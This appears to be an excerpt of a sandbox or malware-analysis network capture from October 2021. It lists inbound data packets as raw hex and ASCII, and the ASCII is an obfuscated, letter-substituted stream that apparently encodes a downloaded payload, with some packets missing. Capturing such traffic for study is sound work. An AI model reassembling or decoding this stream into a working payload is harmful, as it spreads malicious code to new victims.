2021-10-29 18:29:50 UTC	1003	IN	Data Raw: 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 4f 20 4f 20 58 45 20 4f 20 57 4f 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 58 6d 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 71 4f 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 58 4f 20 4f 20 71 71 4a 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 45 4a 20 4f 20 58 58 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 71 71 4a 20 4f 20 71 4f Data Ascii: O O WW O qqM O mE O WE O XO O XE O WO O mE O mp O qOD O qOp O qqM O DX O mE O Xm O DE O mX O MM O mE O Eq O XW O qqO O EX O qqX O qOO O qOW O EJ O DM O XO O qqJ O DX O Xq O XW O EJ O qqJ O qOp O DW O DW O DW O DE O WO O qOm O EJ O XX O qqO O mE O qqJ O qO
2021-10-29 18:29:50 UTC	1005	IN	Data Raw: 4f 20 57 70 20 4f 20 57 6d 20 4f 20 71 71 4f 20 4f 20 71 71 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 Data Ascii: O Wp O Wm O qqO O qqW O XO O WE O qJO O qOO O EJ O qOD O mE O mE O mE O mE O mE O mE O Wm O qqE O qqm O qqp O mE O mE O qqq O Wm O EM O qOD O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
2021-10-29 18:29:50 UTC	1006	IN	Data Raw: 71 71 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 4f 58 20 4f 20 71 4f 57 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 45 44 20 4f 20 58 58 20 4f 20 71 4f 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 57 4a 20 4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 57 20 4f 20 71 4a 71 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 Data Ascii: qqD O qqX O mE O qqq O WJ O EE O DW O mE O WO O qOX O qOW O Xq O XO O mp O ED O XX O qOM O EJ O mE O Em O Xq O WJ O XJ O qqM O Xq O qqM O ED O DW O DX O EW O qJq O EM O XM O qqm O mE O mE O mE O mE O mE O mE O mE O Wq O mE O mE O XO O mE O WE O mE O mE O
2021-10-29 18:29:50 UTC	1007	IN	Data Raw: 20 57 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 Data Ascii: WJ O mE O mE O mE O mE O mE O mE O mp O EW O qOW O qqq O qqm O mE O Wm O mp O qqX O qqm O mE O mp O qqX O qqm O Wm O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
2021-10-29 18:29:50 UTC	1009	IN	Data Raw: 20 58 4f 20 4f 20 57 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 6d 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 58 45 20 4f 20 71 4a 71 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 4f 20 4f 20 71 71 45 20 4f 20 57 57 20 4f 20 58 Data Ascii: XO O WE O qOO O Xq O qOW O WW O mE O EE O qOW O DM O ED O mM O qOW O XW O qOp O DW O mX O mE O mM O WW O qOO O EJ O mE O Wm O qOq O qOD O XO O mE O WE O XX O XE O qJq O XO O mE O DX O qJO O MM O EJ O mE O qqX O MX O mE O DX O mE O mp O qqO O qqE O WW O X
2021-10-29 18:29:50 UTC	1010	IN	Data Raw: 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 Data Ascii: O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O X
2021-10-29 18:29:50 UTC	1011	IN	Data Raw: 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 71 71 57 20 4f 20 45 57 20 4f 20 57 57 20 4f 20 71 4f 44 20 4f 20 71 4f 45 20 4f 20 71 4a 4a 20 4f 20 44 44 20 4f 20 58 4d 20 4f 20 71 71 45 20 4f 20 71 4f 45 20 4f 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 71 4a 20 4f 20 57 45 20 4f 20 71 4f 4a 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 57 4a 20 4f 20 71 4f 71 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 71 4a 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 57 44 20 4f 20 58 6d 20 Data Ascii: O EX O qJq O qqW O EW O WW O qOD O qOE O qJJ O DD O XM O qqE O qOE O qqJ O qqp O EJ O mE O qOJ O XM O DD O WE O mE O Wq O qqJ O WE O qOJ O XO O WE O WJ O qOq O qqO O qqm O mE O qOO O Wq O qqJ O Wm O mE O Wq O EX O Wq O qOq O XO O mp O WJ O qqE O WD O Xm
2021-10-29 18:29:50 UTC	1013	IN	Data Raw: 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 Data Ascii: O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O Wp O qqE O XM O DW O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O Wp O qqE O XM O DW O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O mE O mE O qqE O EE O
2021-10-29 18:29:50 UTC	1014	IN	Data Raw: 44 57 20 4f 20 57 4f 20 4f 20 4d 58 20 4f 20 45 6d 20 4f 20 45 44 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 Data Ascii: DW O WO O MX O Em O ED O Ep O qOD O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O WE O mE O mE O qJJ O mE O mE O qOJ O mE O WD O mE O mE O qqm O mE O mp O qq
2021-10-29 18:29:50 UTC	1015	IN	Data Raw: 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 Data Ascii: Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm
2021-10-29 18:29:50 UTC	1017	IN	Data Raw: 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 Data Ascii: mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O
2021-10-29 18:29:50 UTC	1018	IN	Data Raw: 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 Data Ascii: mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp
2021-10-29 18:29:50 UTC	1019	IN	Data Raw: 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d Data Ascii: E O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O m
2021-10-29 18:29:50 UTC	1021	IN	Data Raw: 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 4f 4d 20 4f 20 57 4f 20 4f 20 71 71 4d 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 4d 4f 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 71 6d 20 4f 20 58 6d 20 4f 20 44 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 4d 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 57 44 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 58 6d 20 4f Data Ascii: O qqM O qOJ O mE O XE O qqD O ED O WW O mE O WO O MX O MX O DW O mE O WE O qOM O WO O qqM O XO O mE O MO O qqD O ED O mE O mE O Wq O qqm O Xm O DE O mE O mp O EM O qqp O qqX O qqX O mE O qOq O qqM O WD O MX O mE O mM O DX O qOq O EO O mE O qJO O MM O Xm O
2021-10-29 18:29:50 UTC	1022	IN	Data Raw: 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 4d 20 4f 20 44 45 20 4f 20 4d 58 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 45 6d 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 44 57 20 Data Ascii: J O DW O Eq O qJJ O mE O mX O Xq O DD O qqM O mE O WE O DM O DE O MX O qOJ O mE O XJ O DW O qOM O Wq O mE O mX O Xq O Em O qqD O mE O WE O DM O DM O MX O qqX O mE O XJ O DW O Eq O qJJ O mE O mX O Xq O DD O qqW O mE O WD O WD O DW O ME O mE O mE O XO O DW
2021-10-29 18:29:50 UTC	1023	IN	Data Raw: 57 20 4f 20 58 70 20 4f 20 58 70 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 70 20 4f 20 71 4a 4a 20 4f 20 71 4f 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 44 58 20 4f 20 71 4f 57 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 57 45 20 4f 20 71 4f 71 20 4f 20 71 4f 4d 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 58 4f 20 4f 20 45 70 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 58 71 20 4f 20 58 4a 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 57 4f 20 4f 20 58 Data Ascii: W O Xp O Xp O EE O mE O mE O Ep O qJJ O qOX O qqX O mE O mM O EX O qqJ O XX O mE O Wm O DX O qOW O Xm O mE O WW O WE O qOq O qOM O XO O mE O XE O XO O Ep O WW O mE O WO O Xq O XJ O qqX O mE O qJO O MM O DD O DX O Eq O qOp O DW O DW O DW O DW O EX O WO O X
2021-10-29 18:29:50 UTC	1025	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW
2021-10-29 18:29:50 UTC	1026	IN	Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 70 20 4f 20 58 45 20 4f 20 71 4f 70 20 4f 20 45 57 20 4f 20 58 57 20 4f 20 4d 4f 20 4f 20 58 44 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 71 4a 71 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 6d Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DD O qqp O XE O qOp O EW O XW O MO O XD O EE O DX O qJq O WO O EX O Xp O DW O WE O EO O qOD O XW O qOp O XO O XJ O XM O mM O Ep O DX O mX O XE O EX O Xp O DW O WE O EO O qOD O XW O qOp O XO O XJ O XM O mM O Ep O DX O m
2021-10-29 18:29:50 UTC	1027	IN	Data Raw: 70 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 57 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 45 4a 20 4f 20 45 57 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 6d 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 71 71 57 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 71 71 4a 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 57 20 4f 20 Data Ascii: p O qOJ O mE O EO O qOE O Wp O XO O mE O qqM O MX O WO O XO O mE O 